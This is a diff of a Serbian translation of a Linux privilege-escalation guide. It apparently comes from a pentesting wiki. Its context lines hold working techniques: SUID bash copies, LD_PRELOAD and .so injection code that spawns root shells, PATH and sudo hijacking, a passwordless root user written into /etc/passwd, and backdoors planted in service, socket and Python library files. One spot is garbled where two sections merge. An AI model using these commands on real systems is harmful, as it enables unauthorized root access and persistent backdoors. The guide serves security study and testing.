+| VSFTPd (Aktivne FTP veze) | vsftpd |
| Apache2 (Aktivne HTTP Basic Auth sesije) | apache2 |
-| OpenSSH (Aktivne SSH sesije - Sudo korišćenje) | sshd: |
+| OpenSSH (Aktivne SSH sesije - Sudo korišćenje) | sshd: |
#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
```bash
@@ -336,7 +336,7 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
```
### Cron koristeći skriptu sa džokerom (Wildcard Injection)
-Ako skripta koju izvršava root sadrži “**\***” unutar komande, možete to iskoristiti da napravite neočekivane stvari (kao što je privesc). Primer:
+Ako skripta koju izvršava root sadrži “**\***” unutar komande, mogli biste to iskoristiti da napravite neočekivane stvari (kao što je privesc). Primer:
```bash
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
```
@@ -380,12 +380,12 @@ Moguće je kreirati cron posao **stavljanjem povratka u red nakon komentara** (b
### Writable _.service_ datoteke
-Proverite da li možete da pišete u bilo koju `.service` datoteku, ako možete, **možete je izmeniti** tako da **izvršava** vaš **backdoor kada** se usluga **pokrene**, **ponovo pokrene** ili **zaustavi** (možda ćete morati da sačekate da se mašina ponovo pokrene).\
-Na primer, kreirajte svoj backdoor unutar .service datoteke sa **`ExecStart=/tmp/script.sh`**
+Proverite da li možete da pišete u bilo koju `.service` datoteku, ako možete, **možete je izmeniti** tako da **izvršava** vašu **backdoor kada** se usluga **pokrene**, **ponovo pokrene** ili **zaustavi** (možda ćete morati da sačekate da se mašina ponovo pokrene).\
+Na primer, kreirajte svoju backdoor unutar .service datoteke sa **`ExecStart=/tmp/script.sh`**
-### Writable servisni binarni fajlovi
+### Writable servisne binarne datoteke
-Imajte na umu da ako imate **dozvole za pisanje nad binarnim fajlovima koje izvršavaju usluge**, možete ih promeniti za backdoor-e tako da kada se usluge ponovo izvrše, backdoor-i će biti izvršeni.
+Imajte na umu da ako imate **dozvole za pisanje nad binarnim datotekama koje izvršavaju usluge**, možete ih promeniti za backdoor, tako da kada se usluge ponovo izvrše, backdoor će biti izvršen.
### systemd PUTANJA - Relativne putanje
@@ -419,9 +419,9 @@ Unit=backdoor.service
```
U dokumentaciji možete pročitati šta je jedinica:
-> Jedinica koja se aktivira kada ovaj tajmer istekne. Argument je naziv jedinice, čija sufiks nije ".timer". Ako nije navedeno, ova vrednost podrazumevano se postavlja na servis koji ima isto ime kao jedinica tajmera, osim sufiksa. (Vidi iznad.) Preporučuje se da naziv jedinice koja se aktivira i naziv jedinice tajmera budu identični, osim sufiksa.
+> Jedinica koja se aktivira kada ovaj tajmer istekne. Argument je naziv jedinice, čija sufiks nije ".timer". Ako nije navedeno, ova vrednost podrazumevano se postavlja na servis koji ima isto ime kao jedinica tajmera, osim sufiksa. (Pogledajte iznad.) Preporučuje se da naziv jedinice koja se aktivira i naziv jedinice tajmera budu identični, osim sufiksa.
-Dakle, da biste zloupotrebili ovu dozvolu, potrebno je:
+Dakle, da biste zloupotrebili ovu dozvolu, trebali biste:
- Pronaći neku systemd jedinicu (kao što je `.service`) koja **izvršava zapisivu binarnu datoteku**
- Pronaći neku systemd jedinicu koja **izvršava relativnu putanju** i imate **dozvole za pisanje** nad **systemd PUTANJOM** (da biste se pretvarali da ste taj izvršni program)
@@ -443,18 +443,18 @@ Unix domena soketa (UDS) omogućava **komunikaciju procesa** na istim ili razli
Soketi se mogu konfigurisati koristeći `.socket` datoteke.
-**Saznajte više o soketima sa `man systemd.socket`.** Unutar ove datoteke, može se konfigurisati nekoliko interesantnih parametara:
+**Saznajte više o soketima pomoću `man systemd.socket`.** Unutar ove datoteke, može se konfigurisati nekoliko interesantnih parametara:
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Ove opcije su različite, ali se koristi sažetak da **naznači gde će slušati** na soketu (putanja AF_UNIX soket datoteke, IPv4/6 i/ili broj porta za slušanje, itd.)
- `Accept`: Prihvaća boolean argument. Ako je **true**, **instanca servisa se pokreće za svaku dolaznu konekciju** i samo soket konekcije se prosleđuje. Ako je **false**, svi slušajući soketi se **prosleđuju pokrenutoj servisnoj jedinici**, i samo jedna servisna jedinica se pokreće za sve konekcije. Ova vrednost se ignoriše za datagram sokete i FIFOs gde jedna servisna jedinica bezuslovno obrađuje sav dolazni saobraćaj. **Podrazumevano je false**. Zbog razloga performansi, preporučuje se pisanje novih demona samo na način koji je pogodan za `Accept=no`.
- `ExecStartPre`, `ExecStartPost`: Prihvaća jedan ili više komandnih redova, koji se **izvršavaju pre** ili **posle** kreiranja i vezivanja slušajućih **soketa**/FIFOs, redom. Prvi token komandnog reda mora biti apsolutna datoteka, a zatim slede argumenti za proces.
- `ExecStopPre`, `ExecStopPost`: Dodatne **komande** koje se **izvršavaju pre** ili **posle** zatvaranja i uklanjanja slušajućih **soketa**/FIFOs, redom.
-- `Service`: Određuje naziv **servisne** jedinice **koju treba aktivirati** na **dolaznom saobraćaju**. Ova postavka je dozvoljena samo za sokete sa Accept=no. Podrazumevano je na servis koji nosi isto ime kao soket (sa zamenjenim sufiksom). U većini slučajeva, ne bi trebalo da bude potrebno koristiti ovu opciju.
+- `Service`: Određuje naziv **servisne** jedinice **koju treba aktivirati** na **dolaznom saobraćaju**. Ova postavka je dozvoljena samo za sokete sa Accept=no. Podrazumevano je na servis koji nosi isto ime kao soket (sa zamenjenim sufiksom). U većini slučajeva, ne bi trebalo biti potrebno koristiti ovu opciju.
### Writable .socket files
Ako pronađete **writable** `.socket` datoteku, možete **dodati** na početak `[Socket]` sekcije nešto poput: `ExecStartPre=/home/kali/sys/backdoor` i backdoor će biti izvršen pre nego što soket bude kreiran. Stoga, verovatno ćete **morati da sačekate da se mašina ponovo pokrene.**\
-_Note da sistem mora koristiti tu konfiguraciju soket datoteke ili backdoor neće biti izvršen_
+_Napomena da sistem mora koristiti tu konfiguraciju soket datoteke ili backdoor neće biti izvršen_
### Writable sockets
@@ -481,7 +481,7 @@ socket-command-injection.md
### HTTP soketi
-Imajte na umu da može postojati nekoliko **soketa koji slušaju HTTP** zahteve (_ne govorim o .socket datotekama, već o datotekama koje deluju kao unix soketi_). Možete to proveriti sa:
+Imajte na umu da može postojati nekoliko **soketa koji slušaju HTTP** zahteve (_ne govorim o .socket datotekama, već o datotekama koje deluju kao unix soketi_). Ovo možete proveriti sa:
```bash
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
```
@@ -566,11 +566,11 @@ D-Bus je sofisticirani **sistem međuprocesne komunikacije (IPC)** koji omoguća
Sistem je svestran, podržavajući osnovni IPC koji poboljšava razmenu podataka između procesa, podsećajući na **poboljšane UNIX domen sokete**. Pored toga, pomaže u emitovanju događaja ili signala, omogućavajući besprekornu integraciju među komponentama sistema. Na primer, signal iz Bluetooth demona o dolaznom pozivu može naterati muzički plejer da utiša, poboljšavajući korisničko iskustvo. Dodatno, D-Bus podržava sistem udaljenih objekata, pojednostavljujući zahteve za uslugama i pozive metoda između aplikacija, olakšavajući procese koji su tradicionalno bili složeni.
-D-Bus funkcioniše na **modelu dozvoli/odbaci**, upravljajući dozvolama za poruke (pozivi metoda, emitovanje signala itd.) na osnovu kumulativnog efekta usklađivanja pravila politike. Ove politike specificiraju interakcije sa autobusom, potencijalno omogućavajući eskalaciju privilegija kroz eksploataciju ovih dozvola.
+D-Bus funkcioniše na **modelu dozvola/odbijanja**, upravljajući dozvolama za poruke (pozivi metoda, emitovanje signala itd.) na osnovu kumulativnog efekta usklađivanja pravila politike. Ove politike specificiraju interakcije sa autobusom, potencijalno omogućavajući eskalaciju privilegija kroz eksploataciju ovih dozvola.
Primer takve politike u `/etc/dbus-1/system.d/wpa_supplicant.conf` je dat, detaljno opisujući dozvole za root korisnika da poseduje, šalje i prima poruke od `fi.w1.wpa_supplicant1`.
-Politike bez specificiranog korisnika ili grupe primenjuju se univerzalno, dok "podrazumevane" kontekstualne politike važe za sve što nije pokriveno drugim specifičnim politikama.
+Politike bez specificiranog korisnika ili grupe primenjuju se univerzalno, dok "podrazumevane" kontekst politike važe za sve što nije pokriveno drugim specifičnim politikama.
```xml
@@ -589,7 +589,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md
Uvek je zanimljivo enumerisati mrežu i utvrditi poziciju mašine.
-### Opšta enumeracija
+### Generička enumeracija
```bash
#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
@@ -666,7 +666,7 @@ interesting-groups-linux-pe/
### Clipboard
-Proverite da li se nešto zanimljivo nalazi unutar clipboard-a (ako je moguće)
+Proverite da li se nešto zanimljivo nalazi u clipboard-u (ako je moguće)
```bash
if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
@@ -687,10 +687,10 @@ Ako **znate neku lozinku** okruženja **pokušajte da se prijavite kao svaki kor
### Su Brute
-Ako vam nije stalo do pravljenja puno buke i `su` i `timeout` binarni fajlovi su prisutni na računaru, možete pokušati da brute-force korisnika koristeći [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
-[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) sa `-a` parametrom takođe pokušava da brute-force korisnike.
+Ako vam nije stalo do pravljenja velike buke i `su` i `timeout` binarni fajlovi su prisutni na računaru, možete pokušati da brute-force-ujete korisnika koristeći [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
+[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) sa `-a` parametrom takođe pokušava da brute-force-uje korisnike.
-## Zloupotrebe Writable PATH-a
+## Zloupotreba Writable PATH-a
### $PATH
@@ -698,7 +698,7 @@ Ako otkrijete da možete **pisati unutar neke fascikle $PATH-a** možda ćete mo
### SUDO i SUID
-Možda ćete biti u mogućnosti da izvršite neku komandu koristeći sudo ili bi mogli imati suid bit. Proverite to koristeći:
+Možda ćete imati dozvolu da izvršite neku komandu koristeći sudo ili bi mogli imati suid bit. Proverite to koristeći:
```bash
sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries
@@ -757,7 +757,7 @@ sudo less /var/log/something /etc/shadow #Red 2 files
### Sudo komanda/SUID binarni bez putanje komande
-Ako je **sudo dozvola** data jednoj komandi **bez specificiranja putanje**: _hacker10 ALL= (root) less_ možete to iskoristiti promenom PATH varijable
+Ako je **sudo dozvola** data za jednu komandu **bez specificiranja putanje**: _hacker10 ALL= (root) less_ možete to iskoristiti promenom PATH varijable
```bash
export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
@@ -785,9 +785,9 @@ Zatim, kada pozovete suid binarni fajl, ova funkcija će biti izvršena
Međutim, da bi se održala sigurnost sistema i sprečilo korišćenje ove funkcije, posebno sa **suid/sgid** izvršnim fajlovima, sistem nameće određene uslove:
- Loader zanemaruje **LD_PRELOAD** za izvršne fajlove gde stvarni korisnički ID (_ruid_) ne odgovara efektivnom korisničkom ID (_euid_).
-- Za izvršne fajlove sa suid/sgid, samo biblioteke u standardnim putanjama koje su takođe suid/sgid se pre-loaduju.
+- Za izvršne fajlove sa suid/sgid, samo biblioteke u standardnim putanjama koje su takođe suid/sgid se prelažu.
-Povećanje privilegija može se dogoditi ako imate mogućnost da izvršavate komande sa `sudo` i izlaz `sudo -l` uključuje izjavu **env_keep+=LD_PRELOAD**. Ova konfiguracija omogućava da **LD_PRELOAD** promenljiva okruženja opstane i bude prepoznata čak i kada se komande izvršavaju sa `sudo`, što potencijalno može dovesti do izvršavanja proizvoljnog koda sa povišenim privilegijama.
+Povećanje privilegija može se dogoditi ako imate mogućnost izvršavanja komandi sa `sudo` i izlaz `sudo -l` uključuje izjavu **env_keep+=LD_PRELOAD**. Ova konfiguracija omogućava da **LD_PRELOAD** promenljiva okruženja opstane i bude prepoznata čak i kada se komande izvršavaju sa `sudo`, što potencijalno može dovesti do izvršavanja proizvoljnog koda sa povišenim privilegijama.
```
Defaults env_keep += LD_PRELOAD
```
@@ -814,7 +814,7 @@ Konačno, **povećajte privilegije** pokretanjem
sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo
```
> [!CAUTION]
-> Sličan privesc može biti zloupotrebljen ako napadač kontroliše **LD_LIBRARY_PATH** env varijablu jer kontroliše putanju gde će se pretraživati biblioteke.
+> Sličan privesc može biti zloupotrebljen ako napadač kontroliše **LD_LIBRARY_PATH** env varijablu jer kontroliše putanju gde će se tražiti biblioteke.
```c
#include
#include
@@ -836,7 +836,7 @@ sudo LD_LIBRARY_PATH=/tmp
```
### SUID Binary – .so injection
-Kada naiđete na binarni fajl sa **SUID** dozvolama koji deluje neobično, dobra je praksa proveriti da li pravilno učitava **.so** fajlove. To se može proveriti pokretanjem sledeće komande:
+Kada naiđete na binarni fajl sa **SUID** dozvolama koji deluje neobično, dobra je praksa proveriti da li pravilno učitava **.so** fajlove. Ovo se može proveriti pokretanjem sledeće komande:
```bash
strace 2>&1 | grep -i -E "open|access|no such file"
```
@@ -853,7 +853,7 @@ void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
```
-Ovaj kod, kada se kompajlira i izvrši, ima za cilj da poveća privilegije manipulisanjem dozvolama za datoteke i izvršavanjem shel-a sa povišenim privilegijama.
+Ovaj kod, kada se kompajlira i izvrši, ima za cilj da poveća privilegije manipulisanjem dozvolama datoteka i izvršavanjem shel-a sa povišenim privilegijama.
Kompajlirajte gornji C fajl u deljeni objekat (.so) fajl sa:
```bash
@@ -892,7 +892,7 @@ to znači da biblioteka koju ste generisali treba da ima funkciju pod nazivom `a
### GTFOBins
-[**GTFOBins**](https://gtfobins.github.io) je pažljivo odabran spisak Unix binarnih datoteka koje napadač može iskoristiti da zaobiđe lokalna bezbednosna ograničenja. [**GTFOArgs**](https://gtfoargs.github.io/) je isto, ali za slučajeve kada možete **samo injektovati argumente** u komandu.
+[**GTFOBins**](https://gtfobins.github.io) je pažljivo odabran spisak Unix binarnih datoteka koje napadač može iskoristiti da zaobiđe lokalna bezbednosna ograničenja. [**GTFOArgs**](https://gtfoargs.github.io/) je isto, ali za slučajeve kada možete **samo da injektujete argumente** u komandu.
Projekat prikuplja legitimne funkcije Unix binarnih datoteka koje se mogu zloupotrebiti za izlazak iz ograničenih ljuski, eskalaciju ili održavanje povišenih privilegija, prenos datoteka, pokretanje bind i reverse ljuski, i olakšavanje drugih post-exploitation zadataka.
@@ -934,7 +934,7 @@ bash exploit.sh
/tmp/activate_sudo_token
sudo su
```
-- Drugi **eksploit** (`exploit_v2.sh`) će kreirati sh shell u _/tmp_ **u vlasništvu roota sa setuid**
+- Drugi **eksploit** (`exploit_v2.sh`) će kreirati sh shell u _/tmp_ **u vlasništvu root-a sa setuid**
```bash
bash exploit_v2.sh
/tmp/sh -p
@@ -946,15 +946,15 @@ sudo su
```
### /var/run/sudo/ts/\
-Ako imate **dozvole za pisanje** u folderu ili na bilo kojoj od kreiranih datoteka unutar foldera, možete koristiti binarni [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) da **kreirate sudo token za korisnika i PID**.\
-Na primer, ako možete da prepišete datoteku _/var/run/sudo/ts/sampleuser_ i imate shell kao taj korisnik sa PID 1234, možete **dobiti sudo privilegije** bez potrebe da znate lozinku radeći:
+Ako imate **dozvole za pisanje** u folderu ili na bilo kojem od kreiranih fajlova unutar foldera, možete koristiti binarni [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) da **kreirate sudo token za korisnika i PID**.\
+Na primer, ako možete da prepisujete fajl _/var/run/sudo/ts/sampleuser_ i imate shell kao taj korisnik sa PID 1234, možete **dobiti sudo privilegije** bez potrebe da znate lozinku tako što ćete:
```bash
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
```
### /etc/sudoers, /etc/sudoers.d
Fajl `/etc/sudoers` i fajlovi unutar `/etc/sudoers.d` konfigurišu ko može da koristi `sudo` i kako. Ovi fajlovi **po defaultu mogu da se čitaju samo od strane korisnika root i grupe root**.\
-**Ako** možete da **čitate** ovaj fajl, mogli biste da **dobijete neke zanimljive informacije**, a ako možete da **pišete** bilo koji fajl, bićete u mogućnosti da **escalate privilegije**.
+**Ako** možete da **čitate** ovaj fajl, mogli biste da **dobijete neke zanimljive informacije**, a ako možete da **pišete** bilo koji fajl, bićete u mogućnosti da **escalirate privilegije**.
```bash
ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/
@@ -979,11 +979,11 @@ permit nopass demo as root cmd vim
```
### Sudo Hijacking
-Ako znate da se **korisnik obično povezuje na mašinu i koristi `sudo`** za eskalaciju privilegija i dobili ste shell unutar tog korisničkog konteksta, možete **napraviti novi sudo izvršni fajl** koji će izvršiti vaš kod kao root, a zatim korisnikovu komandu. Zatim, **modifikujte $PATH** korisničkog konteksta (na primer dodajući novi put u .bash_profile) tako da kada korisnik izvrši sudo, vaš sudo izvršni fajl bude izvršen.
+Ako znate da se **korisnik obično povezuje na mašinu i koristi `sudo`** za eskalaciju privilegija i dobili ste shell unutar tog korisničkog konteksta, možete **napraviti novi sudo izvršni fajl** koji će izvršiti vaš kod kao root, a zatim korisnikovu komandu. Zatim, **modifikujte $PATH** korisničkog konteksta (na primer, dodajući novi put u .bash_profile) tako da kada korisnik izvrši sudo, vaš sudo izvršni fajl bude izvršen.
-Imajte na umu da ako korisnik koristi drugačiji shell (ne bash) bićete u obavezi da modifikujete druge fajlove da dodate novi put. Na primer, [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifikuje `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Možete pronaći još jedan primer u [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
+Imajte na umu da ako korisnik koristi drugi shell (ne bash) bićete u obavezi da modifikujete druge fajlove kako biste dodali novi put. Na primer, [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifikuje `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Možete pronaći još jedan primer u [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
-Ili pokrenuti nešto poput:
+Ili pokretanjem nečega poput:
```bash
cat >/tmp/sudo < #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]
```
-## tmux sessions hijacking
+## tmux sesije preuzimanje
Ovo je bio problem sa **starim tmux verzijama**. Nisam mogao da preuzmem tmux (v2.1) sesiju koju je kreirao root kao neprivilegovan korisnik.
-**List tmux sessions**
+**Lista tmux sesija**
```bash
tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
@@ -1143,11 +1143,11 @@ Određuje da li root može da se prijavi koristeći ssh, podrazumevano je `no`.
### AuthorizedKeysFile
-Određuje datoteke koje sadrže javne ključeve koji se mogu koristiti za autentifikaciju korisnika. Može sadržati tokene poput `%h`, koji će biti zamenjeni home direktorijumom. **Možete naznačiti apsolutne putanje** (počinjući od `/`) ili **relativne putanje od korisnikovog home direktorijuma**. Na primer:
+Određuje datoteke koje sadrže javne ključeve koji se mogu koristiti za autentifikaciju korisnika. Može sadržati tokene kao što su `%h`, koji će biti zamenjeni sa home direktorijumom. **Možete naznačiti apsolutne putanje** (koje počinju sa `/`) ili **relativne putanje od korisnikovog home**. Na primer:
```bash
AuthorizedKeysFile .ssh/authorized_keys access
```
-Ta konfiguracija će ukazati da ako pokušate da se prijavite sa **privatnim** ključem korisnika "**testusername**", ssh će uporediti javni ključ vašeg ključa sa onima koji se nalaze u `/home/testusername/.ssh/authorized_keys` i `/home/testusername/access`.
+Ta konfiguracija će označiti da ako pokušate da se prijavite sa **privatnim** ključem korisnika "**testusername**", ssh će uporediti javni ključ vašeg ključa sa onima koji se nalaze u `/home/testusername/.ssh/authorized_keys` i `/home/testusername/access`.
### ForwardAgent/AllowAgentForwarding
@@ -1181,7 +1181,7 @@ Ako se pronađe bilo koji čudan profil skript, trebali biste ga proveriti na **
### Passwd/Shadow Fajlovi
-U zavisnosti od operativnog sistema, fajlovi `/etc/passwd` i `/etc/shadow` mogu imati drugačije ime ili može postojati backup. Stoga se preporučuje **da pronađete sve njih** i **proverite da li možete da ih pročitate** da biste videli **da li postoje heševi** unutar fajlova:
+U zavisnosti od operativnog sistema, fajlovi `/etc/passwd` i `/etc/shadow` mogu imati drugačije ime ili može postojati backup. Stoga se preporučuje da **pronađete sve njih** i **proverite da li možete da ih pročitate** da biste videli **da li postoje heševi** unutar fajlova:
```bash
#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
@@ -1209,7 +1209,7 @@ E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
Sada možete koristiti `su` komandu sa `hacker:hacker`
Alternativno, možete koristiti sledeće linije da dodate lažnog korisnika bez lozinke.\
-UPWARNING: mogli biste pogoršati trenutnu sigurnost mašine.
+UPWARNING: možete smanjiti trenutnu sigurnost mašine.
```
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy
@@ -1221,13 +1221,13 @@ Trebalo bi da proverite da li možete **da pišete u neke osetljive fajlove**. N
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
```
-Na primer, ako mašina pokreće **tomcat** server i možete **modifikovati konfiguracioni fajl Tomcat servisa unutar /etc/systemd/,** tada možete modifikovati linije:
+Na primer, ako mašina pokreće **tomcat** server i možete **modifikovati Tomcat konfiguracioni fajl usluge unutar /etc/systemd/,** tada možete modifikovati linije:
```
ExecStart=/path/to/backdoor
User=root
Group=root
```
-Vaša backdoor će biti izvršena sledeći put kada se tomcat pokrene.
+Vaš backdoor će biti izvršen sledeći put kada se tomcat pokrene.
### Proverite foldere
@@ -1319,7 +1319,7 @@ Neću ovde nabrajati kako da uradite sve ovo, ali ako ste zainteresovani, možet
### Python library hijacking
-Ako znate **odakle** će se izvršiti python skripta i ako **možete pisati unutar** te fascikle ili možete **modifikovati python biblioteke**, možete modifikovati OS biblioteku i dodati backdoor (ako možete pisati gde će se izvršiti python skripta, kopirajte i nalepite os.py biblioteku).
+Ako znate **odakle** će se izvršiti python skripta i **možete pisati unutar** te fascikle ili možete **modifikovati python biblioteke**, možete modifikovati OS biblioteku i dodati backdoor (ako možete pisati gde će se izvršiti python skripta, kopirajte i nalepite os.py biblioteku).
Da **dodate backdoor u biblioteku**, samo dodajte na kraj os.py biblioteke sledeću liniju (promenite IP i PORT):
```python
@@ -1346,7 +1346,7 @@ Ako, iz bilo kog razloga, korisnik može da **piše** `ifcf-` skriptu
Mrežne skripte, _ifcg-eth0_ na primer, koriste se za mrežne konekcije. Izgledaju tačno kao .INI fajlovi. Međutim, one su \~sourced\~ na Linuxu od strane Network Manager-a (dispatcher.d).
-U mom slučaju, `NAME=` atribut u ovim mrežnim skriptama nije pravilno obrađen. Ako imate **bele/prazne prostore u imenu, sistem pokušava da izvrši deo nakon belog/praznog prostora**. To znači da se **sve nakon prvog praznog prostora izvršava kao root**.
+U mom slučaju, `NAME=` atribut u ovim mrežnim skriptama nije pravilno obrađen. Ako imate **belu/praznu prostor u imenu, sistem pokušava da izvrši deo nakon bele/prazne prostore**. To znači da se **sve nakon prve praznine izvršava kao root**.
Na primer: _/etc/sysconfig/network-scripts/ifcfg-1337_
```bash
@@ -1356,11 +1356,11 @@ DEVICE=eth0
```
### **init, init.d, systemd, i rc.d**
-Direktorijum `/etc/init.d` je dom za **skripte** za System V init (SysVinit), **klasični sistem upravljanja servisima** na Linuxu. Uključuje skripte za `start`, `stop`, `restart`, i ponekad `reload` servise. Ove se mogu izvršavati direktno ili putem simboličkih linkova pronađenih u `/etc/rc?.d/`. Alternativni put u Redhat sistemima je `/etc/rc.d/init.d`.
+Direktorijum `/etc/init.d` je dom **skripti** za System V init (SysVinit), **klasični sistem upravljanja servisima** na Linuxu. Uključuje skripte za `start`, `stop`, `restart`, i ponekad `reload` servise. Ove se mogu izvršavati direktno ili putem simboličkih linkova pronađenih u `/etc/rc?.d/`. Alternativni put u Redhat sistemima je `/etc/rc.d/init.d`.
S druge strane, `/etc/init` je povezan sa **Upstart**, novijim **sistemom upravljanja servisima** koji je uveo Ubuntu, koristeći konfiguracione datoteke za zadatke upravljanja servisima. I pored prelaska na Upstart, SysVinit skripte se i dalje koriste zajedno sa Upstart konfiguracijama zbog sloja kompatibilnosti u Upstart-u.
-**systemd** se pojavljuje kao moderan menadžer inicijalizacije i servisa, nudeći napredne funkcije kao što su pokretanje demona na zahtev, upravljanje automount-om i snimke stanja sistema. Organizuje datoteke u `/usr/lib/systemd/` za distribucione pakete i `/etc/systemd/system/` za izmene administratora, pojednostavljujući proces administracije sistema.
+**systemd** se pojavljuje kao moderan menadžer inicijalizacije i servisa, nudeći napredne funkcije kao što su pokretanje demona na zahtev, upravljanje automount-om i snimci stanja sistema. Organizuje datoteke u `/usr/lib/systemd/` za distribucione pakete i `/etc/systemd/system/` za izmene administratora, pojednostavljujući proces administracije sistema.
## Ostali trikovi
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md
index a91b5af97..0412da318 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md
@@ -4,14 +4,14 @@
## Osnovne informacije
-Cgroup namespace je funkcija Linux kernela koja pruža **izolaciju cgroup hijerarhija za procese koji se izvršavaju unutar namespace-a**. Cgroups, skraćeno za **kontrolne grupe**, su funkcija kernela koja omogućava organizovanje procesa u hijerarhijske grupe radi upravljanja i sprovođenja **ograničenja na sistemske resurse** kao što su CPU, memorija i I/O.
+Cgroup namespace je funkcija Linux jezgra koja pruža **izolaciju cgroup hijerarhija za procese koji se izvršavaju unutar namespace-a**. Cgroups, skraćeno za **kontrolne grupe**, su funkcija jezgra koja omogućava organizovanje procesa u hijerarhijske grupe radi upravljanja i sprovođenja **ograničenja na sistemske resurse** kao što su CPU, memorija i I/O.
Iako cgroup namespace-i nisu poseban tip namespace-a kao što su drugi koje smo ranije diskutovali (PID, mount, network, itd.), oni su povezani sa konceptom izolacije namespace-a. **Cgroup namespace-i virtualizuju pogled na cgroup hijerarhiju**, tako da procesi koji se izvršavaju unutar cgroup namespace-a imaju drugačiji pogled na hijerarhiju u poređenju sa procesima koji se izvršavaju na hostu ili u drugim namespace-ima.
### Kako to funkcioniše:
1. Kada se kreira novi cgroup namespace, **on počinje sa pogledom na cgroup hijerarhiju zasnovanom na cgroup-u procesa koji ga kreira**. To znači da će procesi koji se izvršavaju u novom cgroup namespace-u videti samo podskup cele cgroup hijerarhije, ograničen na cgroup podstablo koje se oslanja na cgroup procesa koji ga kreira.
-2. Procesi unutar cgroup namespace-a će **videti svoju vlastitu cgroup kao koren hijerarhije**. To znači da, iz perspektive procesa unutar namespace-a, njihova vlastita cgroup se pojavljuje kao koren, i ne mogu videti ili pristupiti cgroup-ima van svog podstabla.
+2. Procesi unutar cgroup namespace-a će **videti svoju vlastitu cgroup kao koren hijerarhije**. To znači da, iz perspektive procesa unutar namespace-a, njihova vlastita cgroup se pojavljuje kao koren, i ne mogu videti ili pristupiti cgroup-ima van svog vlastitog podstabla.
3. Cgroup namespace-i ne pružaju direktno izolaciju resursa; **oni samo pružaju izolaciju pogleda na cgroup hijerarhiju**. **Kontrola i izolacija resursa se i dalje sprovode od strane cgroup** pod sistema (npr., cpu, memorija, itd.) sami.
Za više informacija o CGroups proverite:
@@ -20,7 +20,7 @@ Za više informacija o CGroups proverite:
../cgroups.md
{{#endref}}
-## Lab:
+## Laboratorija:
### Kreirajte različite Namespace-e
@@ -34,7 +34,7 @@ Montiranjem nove instance `/proc` datotečnog sistema ako koristite parametar `-
Greška: bash: fork: Ne može da dodeli memoriju
-Kada se `unshare` izvrši bez opcije `-f`, dolazi do greške zbog načina na koji Linux upravlja novim PID (Process ID) namespace-ima. Ključni detalji i rešenje su navedeni u nastavku:
+Kada se `unshare` izvrši bez opcije `-f`, dolazi do greške zbog načina na koji Linux upravlja novim PID (ID procesa) namespace-ima. Ključni detalji i rešenje su navedeni u nastavku:
1. **Objašnjenje problema**:
@@ -48,7 +48,7 @@ Kada se `unshare` izvrši bez opcije `-f`, dolazi do greške zbog načina na koj
3. **Rešenje**:
- Problem se može rešiti korišćenjem opcije `-f` sa `unshare`. Ova opcija čini da `unshare` fork-uje novi proces nakon kreiranja novog PID namespace-a.
-- Izvršavanje `%unshare -fp /bin/bash%` osigurava da sam `unshare` komanda postane PID 1 u novom namespace-u. `/bin/bash` i njegovi podprocesi su tada sigurno sadržani unutar ovog novog namespace-a, sprečavajući prevremeni izlazak PID 1 i omogućavajući normalnu dodelu PID-a.
+- Izvršavanje `%unshare -fp /bin/bash%` osigurava da `unshare` komanda sama postane PID 1 u novom namespace-u. `/bin/bash` i njegovi podprocesi su tada sigurno sadržani unutar ovog novog namespace-a, sprečavajući prevremeni izlazak PID 1 i omogućavajući normalnu dodelu PID-a.
Osiguravanjem da `unshare` radi sa `-f` oznakom, novi PID namespace se ispravno održava, omogućavajući `/bin/bash` i njegovim podprocesima da funkcionišu bez susretanja greške u dodeli memorije.
